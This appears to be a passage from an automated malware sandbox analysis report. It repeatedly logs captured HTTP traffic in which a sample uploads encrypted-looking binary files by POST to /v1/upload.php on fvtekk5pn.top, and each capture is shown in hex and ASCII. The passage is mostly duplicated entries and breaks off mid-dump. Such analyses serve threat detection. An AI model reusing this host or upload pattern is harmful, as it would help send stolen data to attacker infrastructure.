application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1HloData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 47 f7 4c 73 2f 38 51 28 59 2b 7f c6 2c ea 74 c3 c2 32 45 d5 d5 fd 00 be 38 e0 6c 47 82 44 04 4b 64 77 97 cd 66 c2 a7 77 d9 1d 3e dd fa c6 b2 c0 34 10 c7 1a a1 d0 d1 1f 5f 02 f9 4a 3e 93 bd 58 b0 f5 84 dd 87 3b a1 4c 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 2d 2d 0d 0a Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1HloData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 47 f7 4c 73 2f 38 51 28 59 2b 7f c6 2c ea 74 c3 c2 32 45 d5 d5 fd 00 be 38 e0 6c 47 82 44 04 4b 64 77 97 cd 66 c2 a7 77 d9 1d 3e dd fa c6 b2 c0 34 10 c7 1a a1 d0 d1 1f 5f 02 f9 4a 3e 93 bd 58 b0 f5 84 dd 87 3b a1 4c 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 2d 2d 0d 0a Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1HloData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 47 f7 4c 73 2f 38 51 28 59 2b 7f c6 2c ea 74 c3 c2 32 45 d5 d5 fd 00 be 38 e0 6c 47 82 44 04 4b 64 77 97 cd 66 c2 a7 77 d9 1d 3e dd fa c6 b2 c0 34 10 c7 1a a1 d0 d1 1f 5f 02 f9 4a 3e 93 bd 58 b0 f5 84 dd 87 3b a1 4c 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 2d 2d 0d 0a Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1HloData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 47 f7 4c 73 2f 38 51 28 59 2b 7f c6 2c ea 74 c3 c2 32 45 d5 d5 fd 00 be 38 e0 6c 47 82 44 04 4b 64 77 97 cd 66 c2 a7 77 d9 1d 3e dd fa c6 b2 c0 34 10 c7 1a a1 d0 d1 1f 5f 02 f9 4a 3e 93 bd 58 b0 f5 84 dd 87 3b a1 4c 46 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 2d 2d 0d 0a Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 22537Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 2d 7d 2a 1d 99 62 0a ae 49 af 11 b0 ec ce b8 02 26 7d 92 c9 03 d0 68 cb 10 b2 70 1c 3d 11 3f e0 e8 70 ef 93 c9 2d 2e 80 03 61 2c 47 eb 69 ca 6b 06 15 cc c3 47 07 62 c2 94 db a1 81 a3 78 51 60 b4 ab 2a 4e e5 a2 8c c5 bf eb ee 6c c4 fe 02 f0 d5 6a 20 c9 38 4c 62 20 e5 d7 c0 60 23 b9 96 4b 0c 06 37 0e 0c 55 3d e0 5f cb 59 d0 11 0f df 4f 3c 7a ac 6b 39 52 55 77 73 2d 3e e3 57 1a a7 db 3f cc 12 e6 7e 5f 06 ef 2a f2 11 dd cb e0 45 48 d9 7d ca 56 b6 1b 88 45 2c 5e 7d 24 8f 1d 4e 55 3d 49 30 65 27 14 85 82 0e 61 ea 3f 97 9d 49 96 d3 fa 63 0e 24 6d 59 5e 5e bd 76 d3 09 92 1b f9 0f be 64 5a 87 22 f5 c7 9d 5c a7 9d c1 e2 83 4b 79 2d 4f cc d0 61 a1 e8 cb 57 1d 94 91 ee 3e 00 c7 f8 30 e3 2e b2 13 19 fa 1b df 65 a2 57 03 8f 93 8b 8c f7 82 bb 57 09 08 96 70 69 51 c2 3a f8 0c f0 e9 9d a4 ae ba b8 55 ba 5f 82 d4 56 22 e6 4d df fb 8a 7f d9 05 be 42 a2 3a 6e 25 5b fc 3d 91 19 d9 f8 4b 65 d8 f3 14 16 9f 78 b4 36 19 15 0d 9c 7c 78 24 1b 7e eb 1d 7d 8f b0 1b 16 c4 6f 2a c5 38 e2 4c 59 3c 64 5d c1 23 e0 04 9a d9 d8 11 3b c6 04 0d c4 6a f2 89 76 49 40 62 90 6a 36 c0 82 52 1c 35 f6 00 72 84 3b 34 dd be f1 03 5d 0d c6 22 f0 b5 00 e0 0a fa 11 d1 5f 20 be c8 95 9d d1 13 ba b5 56 33 21 01 a3 0b 79 fb 01 8c 03 61 dc 49 25 a7 8c b7 9c 2c d9 21 8e 0c be 74 d4 78 f6 61 22 1d 5e ac 2a e0 64 5f a5 7a ce 2a 4d d3 48 79 b8 66 f6 22 78 b4 f2 51 33 ee 87 5a 30 04 5b 5f 84 f5 7c d3 46 d5 44 74 49 ae b6 96 f1 ca c5 76 31 76 2f 0b c0 32 41 af dd 08 9a 55 0b 0c e4 33 63 e2 77 97 27 36 17 5f 74 25 df ee 0f 8b 33 02 00 1c 5e 47 08 1d 11 20 18 2b 8b 02 d2 ce 68 2d a2 fc 2d 24 5f 1b 5a e1 72 b0 ae 93 62 c4 0e 2d d6 1f 1c 2b a2 5a c1 fb 9b 04 75 3f ce c4 d4 08 30 a3 98 08 63 88 e2 a2 28 7e 44 7c 70 cd f6 1e 7d cf 13 1b 02 f0 e2 7e 91 88 bf ae e6 03 7c 5b cd 92 f2 a5 e1 f0 1e ed 3a 68 10 1b e5 a6 44 df 24 61 59 8b
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 22537Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 2d 7d 2a 1d 99 62 0a ae 49 af 11 b0 ec ce b8 02 26 7d 92 c9 03 d0 68 cb 10 b2 70 1c 3d 11 3f e0 e8 70 ef 93 c9 2d 2e 80 03 61 2c 47 eb 69 ca 6b 06 15 cc c3 47 07 62 c2 94 db a1 81 a3 78 51 60 b4 ab 2a 4e e5 a2 8c c5 bf eb ee 6c c4 fe 02 f0 d5 6a 20 c9 38 4c 62 20 e5 d7 c0 60 23 b9 96 4b 0c 06 37 0e 0c 55 3d e0 5f cb 59 d0 11 0f df 4f 3c 7a ac 6b 39 52 55 77 73 2d 3e e3 57 1a a7 db 3f cc 12 e6 7e 5f 06 ef 2a f2 11 dd cb e0 45 48 d9 7d ca 56 b6 1b 88 45 2c 5e 7d 24 8f 1d 4e 55 3d 49 30 65 27 14 85 82 0e 61 ea 3f 97 9d 49 96 d3 fa 63 0e 24 6d 59 5e 5e bd 76 d3 09 92 1b f9 0f be 64 5a 87 22 f5 c7 9d 5c a7 9d c1 e2 83 4b 79 2d 4f cc d0 61 a1 e8 cb 57 1d 94 91 ee 3e 00 c7 f8 30 e3 2e b2 13 19 fa 1b df 65 a2 57 03 8f 93 8b 8c f7 82 bb 57 09 08 96 70 69 51 c2 3a f8 0c f0 e9 9d a4 ae ba b8 55 ba 5f 82 d4 56 22 e6 4d df fb 8a 7f d9 05 be 42 a2 3a 6e 25 5b fc 3d 91 19 d9 f8 4b 65 d8 f3 14 16 9f 78 b4 36 19 15 0d 9c 7c 78 24 1b 7e eb 1d 7d 8f b0 1b 16 c4 6f 2a c5 38 e2 4c 59 3c 64 5d c1 23 e0 04 9a d9 d8 11 3b c6 04 0d c4 6a f2 89 76 49 40 62 90 6a 36 c0 82 52 1c 35 f6 00 72 84 3b 34 dd be f1 03 5d 0d c6 22 f0 b5 00 e0 0a fa 11 d1 5f 20 be c8 95 9d d1 13 ba b5 56 33 21 01 a3 0b 79 fb 01 8c 03 61 dc 49 25 a7 8c b7 9c 2c d9 21 8e 0c be 74 d4 78 f6 61 22 1d 5e ac 2a e0 64 5f a5 7a ce 2a 4d d3 48 79 b8 66 f6 22 78 b4 f2 51 33 ee 87 5a 30 04 5b 5f 84 f5 7c d3 46 d5 44 74 49 ae b6 96 f1 ca c5 76 31 76 2f 0b c0 32 41 af dd 08 9a 55 0b 0c e4 33 63 e2 77 97 27 36 17 5f 74 25 df ee 0f 8b 33 02 00 1c 5e 47 08 1d 11 20 18 2b 8b 02 d2 ce 68 2d a2 fc 2d 24 5f 1b 5a e1 72 b0 ae 93 62 c4 0e 2d d6 1f 1c 2b a2 5a c1 fb 9b 04 75 3f ce c4 d4 08 30 a3 98 08 63 88 e2 a2 28 7e 44 7c 70 cd f6 1e 7d cf 13 1b 02 f0 e2 7e 91 88 bf ae e6 03 7c 5b cd 92 f2 a5 e1 f0 1e ed 3a 68 10 1b e5 a6 44 df 24 61 59 8b
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 22537Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 2d 7d 2a 1d 99 62 0a ae 49 af 11 b0 ec ce b8 02 26 7d 92 c9 03 d0 68 cb 10 b2 70 1c 3d 11 3f e0 e8 70 ef 93 c9 2d 2e 80 03 61 2c 47 eb 69 ca 6b 06 15 cc c3 47 07 62 c2 94 db a1 81 a3 78 51 60 b4 ab 2a 4e e5 a2 8c c5 bf eb ee 6c c4 fe 02 f0 d5 6a 20 c9 38 4c 62 20 e5 d7 c0 60 23 b9 96 4b 0c 06 37 0e 0c 55 3d e0 5f cb 59 d0 11 0f df 4f 3c 7a ac 6b 39 52 55 77 73 2d 3e e3 57 1a a7 db 3f cc 12 e6 7e 5f 06 ef 2a f2 11 dd cb e0 45 48 d9 7d ca 56 b6 1b 88 45 2c 5e 7d 24 8f 1d 4e 55 3d 49 30 65 27 14 85 82 0e 61 ea 3f 97 9d 49 96 d3 fa 63 0e 24 6d 59 5e 5e bd 76 d3 09 92 1b f9 0f be 64 5a 87 22 f5 c7 9d 5c a7 9d c1 e2 83 4b 79 2d 4f cc d0 61 a1 e8 cb 57 1d 94 91 ee 3e 00 c7 f8 30 e3 2e b2 13 19 fa 1b df 65 a2 57 03 8f 93 8b 8c f7 82 bb 57 09 08 96 70 69 51 c2 3a f8 0c f0 e9 9d a4 ae ba b8 55 ba 5f 82 d4 56 22 e6 4d df fb 8a 7f d9 05 be 42 a2 3a 6e 25 5b fc 3d 91 19 d9 f8 4b 65 d8 f3 14 16 9f 78 b4 36 19 15 0d 9c 7c 78 24 1b 7e eb 1d 7d 8f b0 1b 16 c4 6f 2a c5 38 e2 4c 59 3c 64 5d c1 23 e0 04 9a d9 d8 11 3b c6 04 0d c4 6a f2 89 76 49 40 62 90 6a 36 c0 82 52 1c 35 f6 00 72 84 3b 34 dd be f1 03 5d 0d c6 22 f0 b5 00 e0 0a fa 11 d1 5f 20 be c8 95 9d d1 13 ba b5 56 33 21 01 a3 0b 79 fb 01 8c 03 61 dc 49 25 a7 8c b7 9c 2c d9 21 8e 0c be 74 d4 78 f6 61 22 1d 5e ac 2a e0 64 5f a5 7a ce 2a 4d d3 48 79 b8 66 f6 22 78 b4 f2 51 33 ee 87 5a 30 04 5b 5f 84 f5 7c d3 46 d5 44 74 49 ae b6 96 f1 ca c5 76 31 76 2f 0b c0 32 41 af dd 08 9a 55 0b 0c e4 33 63 e2 77 97 27 36 17 5f 74 25 df ee 0f 8b 33 02 00 1c 5e 47 08 1d 11 20 18 2b 8b 02 d2 ce 68 2d a2 fc 2d 24 5f 1b 5a e1 72 b0 ae 93 62 c4 0e 2d d6 1f 1c 2b a2 5a c1 fb 9b 04 75 3f ce c4 d4 08 30 a3 98 08 63 88 e2 a2 28 7e 44 7c 70 cd f6 1e 7d cf 13 1b 02 f0 e2 7e 91 88 bf ae e6 03 7c 5b cd 92 f2 a5 e1 f0 1e ed 3a 68 10 1b e5 a6 44 df 24 61 59 8b
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 22537Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 2d 7d 2a 1d 99 62 0a ae 49 af 11 b0 ec ce b8 02 26 7d 92 c9 03 d0 68 cb 10 b2 70 1c 3d 11 3f e0 e8 70 ef 93 c9 2d 2e 80 03 61 2c 47 eb 69 ca 6b 06 15 cc c3 47 07 62 c2 94 db a1 81 a3 78 51 60 b4 ab 2a 4e e5 a2 8c c5 bf eb ee 6c c4 fe 02 f0 d5 6a 20 c9 38 4c 62 20 e5 d7 c0 60 23 b9 96 4b 0c 06 37 0e 0c 55 3d e0 5f cb 59 d0 11 0f df 4f 3c 7a ac 6b 39 52 55 77 73 2d 3e e3 57 1a a7 db 3f cc 12 e6 7e 5f 06 ef 2a f2 11 dd cb e0 45 48 d9 7d ca 56 b6 1b 88 45 2c 5e 7d 24 8f 1d 4e 55 3d 49 30 65 27 14 85 82 0e 61 ea 3f 97 9d 49 96 d3 fa 63 0e 24 6d 59 5e 5e bd 76 d3 09 92 1b f9 0f be 64 5a 87 22 f5 c7 9d 5c a7 9d c1 e2 83 4b 79 2d 4f cc d0 61 a1 e8 cb 57 1d 94 91 ee 3e 00 c7 f8 30 e3 2e b2 13 19 fa 1b df 65 a2 57 03 8f 93 8b 8c f7 82 bb 57 09 08 96 70 69 51 c2 3a f8 0c f0 e9 9d a4 ae ba b8 55 ba 5f 82 d4 56 22 e6 4d df fb 8a 7f d9 05 be 42 a2 3a 6e 25 5b fc 3d 91 19 d9 f8 4b 65 d8 f3 14 16 9f 78 b4 36 19 15 0d 9c 7c 78 24 1b 7e eb 1d 7d 8f b0 1b 16 c4 6f 2a c5 38 e2 4c 59 3c 64 5d c1 23 e0 04 9a d9 d8 11 3b c6 04 0d c4 6a f2 89 76 49 40 62 90 6a 36 c0 82 52 